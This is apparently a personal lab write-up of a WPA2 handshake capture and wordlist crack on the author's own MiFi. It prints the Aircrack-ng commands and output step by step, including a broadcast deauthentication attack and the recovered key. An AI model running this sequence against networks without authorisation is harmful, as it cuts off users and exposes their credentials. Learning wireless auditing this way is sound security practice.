Wireless Security Assessment Using Aircrack-ng

Title

Wireless Security Assessment and Password Audit of a Personal WiFi Network Using the Aircrack-ng Suite

Objective

This project documents a controlled wireless security assessment performed on my personal WiFi network. The aim of the exercise was to observe wireless traffic, capture authentication handshakes, and evaluate the strength of the network password. The project also demonstrates practical understanding of wireless monitoring, packet capture, and password auditing using tools from the Aircrack-ng suite.

Environment

Operating System: Linux

Wireless Adapter capable of Monitor Mode

Tools Used:

- Airmon-ng
- Airodump-ng
- Aireplay-ng
- Aircrack-ng

Target Network: Personal MiFi device

Investigation Process

1. Preparing the Wireless Interface

The first step involved identifying the wireless interface and terminating background processes that could interfere with packet monitoring. This ensured the wireless adapter could enter monitor mode successfully.

```
┌──(sambi㉿kali)-[~]
└─$ sudo airmon-ng check kill

Killing these processes:

    PID Name
   3781 wpa_supplicant
```

Figure 1: Killing background processes before enabling monitor mode

2. Enabling Monitor Mode

The wireless interface was switched to monitor mode using Airmon-ng. Monitor mode allows the adapter to capture all wireless packets within range rather than only the traffic intended for the device.

```
┌──(sambi㉿kali)-[~]
└─$ sudo airmon-ng start wlan0


PHY     Interface       Driver          Chipset

phy0    wlan0           rt2800usb       Ralink Technology, Corp. RT2870/RT3070
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)
```

Figure 2: Wireless interface successfully switched to monitor mode

3. Discovering Wireless Networks

Airodump-ng was used to scan for nearby wireless networks. This revealed information such as the BSSID, channel number, encryption type, and connected clients.

```
CH  6 ][ Elapsed: 2 mins ][ 2025-11-17 14:30 ][ fixed channel wlan0mon: 9

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

00:90:4D:3D:09:4C  -13   9     5710     1100  129   6   65   WPA2 CCMP   PSK  SOLOMON-MIFI

BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes

(not associated)   96:51:45:FE:7B:4F  -26    0 - 1      7        3
00:90:4D:3D:09:4C  44:85:00:EE:F9:F8   -4   24e- 6e   696      583         SOLOMON-MIFI
00:90:4D:3D:09:4C  CE:40:23:44:9B:56  -12    1e- 1   3466      934         SOLOMON -MIFI ,SOLOMON-MIFI
```

Figure 3: Wireless networks discovered using Airodump-ng

4. Targeting the Test Network

After identifying my own MiFi network, the capture tool was locked to the correct channel to ensure stable packet collection from the target access point.

Using **sudo airodump-ng --channel 6 wlan0mon**

5. Capturing the Handshake

Network traffic was monitored until a WPA/WPA2 handshake was captured. This handshake is necessary for performing password auditing with Aircrack-ng.

```
┌──(sambi㉿kali)-[~]
└─$ sudo aireplay-ng --deauth 10 -a 00:90:4D:3D:09:4C wlan0mon
14:34:05  Waiting for beacon frame (BSSID: 00:90:4D:3D:09:4C) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:34:05  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:06  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:06  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:07  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:07  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:08  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:09  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:09  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:10  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
14:34:11  Sending DeAuth (code 7) to broadcast -- BSSID: [00:90:4D:3D:09:4C]
```

Figure 4: Handshake captured successfully capture

6. Password Audit

Once the handshake was captured, Aircrack-ng was used with a wordlist to attempt password recovery in a controlled environment.

```
┌──(sambi㉿kali)-[~]
└─$ sudo aircrack-ng mind-01.cap -w /usr/share/wordlists/rockyou.txt
Reading packets, please wait...
Opening mind-01.cap
Read 1398 packets.

   #  BSSID              ESSID                     Encryption

   1  00:90:4D:3D:09:4C  SOLOMON-MIFI              WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening mind-01.cap
Read 1398 packets.

1 potential targets


                               Aircrack-ng 1.7

      [00:06:16] 327334/14344392 keys tested (884.25 k/s)

      Time left: 4 hours, 24 minutes, 11 seconds                2.28%

                          KEY FOUND! [ 09876543211 ]


      Master Key     : 1E 7C C3 DF 1E 50 DF B9 7E 41 7D 9B 5A 10 07 79
                       7C 4F 34 87 68 19 7A 0B 2D 83 99 38 C8 B9 BA CB

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Figure 6: Aircrack-ng password cracking successfully carried out on my personal MiFi

Findings

The analysis confirmed that the wireless handshake was successfully captured. The packet capture file contained sufficient data for password auditing. The testing demonstrated how wireless authentication handshakes can be collected and analyzed using professional penetration testing tools.

Conclusion

This exercise demonstrates practical understanding of wireless security concepts including monitoring, packet capture, handshake acquisition, and password auditing. It also highlights responsible use of penetration testing tools within an authorized environment for educational and defensive cybersecurity purposes.